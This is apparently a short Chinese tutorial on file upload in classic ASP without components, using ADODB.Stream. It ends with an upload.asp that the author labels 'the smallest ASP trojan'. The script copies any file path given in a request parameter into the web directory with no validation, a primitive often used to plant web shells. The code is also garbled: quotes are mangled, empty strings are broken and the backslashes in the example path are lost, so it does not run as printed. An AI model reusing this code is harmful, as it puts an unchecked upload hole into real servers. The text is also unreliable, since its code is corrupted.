目前有很多无组件上传类,大多写的相当复杂,有的居然还只能传文本,最关键的是没有10行代码以下的。
其实无组件上传最核心的代码就是ADODB.Stream,实际只用五行代码就可以实现了无组件上传。
Set objStream = Server.CreateObject(‘ADODB.Stream’)
objStream.Type = 1
objStream.Open
objStream.LoadFromFile Request(‘upfilename’)
objStream.SaveToFile Server.MapPath(‘test.gif’),2
使用方法:
把上面的代码写成upload.asp,在浏览器里面输入http://localhost/upload.asp?upfilename=c: est est.gif
localhost为你的主机地址,执行完后你会看到你的目录下面多了一个test.gif,他就是你要文件拉。
根据原理我们可以扩展以下代码,算一个最小的ASP木马吧,有一点值得注意,上传的本地文件路径不能包含中文字符,否则会出错。
upload.asp文件
<%
Function GetFileName(ByVal strFile)
If strFile <> ” Then
GetFileName = mid(strFile,InStrRev(strFile, ”)+1)
Else
GetFileName = ”
End If
End function
strFileName = Request.Form(‘upfilename’)
If strFileName<>” Then
Set objStream = Server.CreateObject(‘ADODB.Stream’)
objStream.Type = 1
objStream.Open
objStream.LoadFromFile strFileName
objStream.SaveToFile Server.MapPath(GetFileName(strFileName)),2
objStream.Close
response.write ‘OK!’
Else
%>
<form action=”<%= Request.ServerVariables(‘URL’) %>” method=”post”>
<input type=”file” name=”upfilename”> <input type=”submit”></form>
<%
End if
%>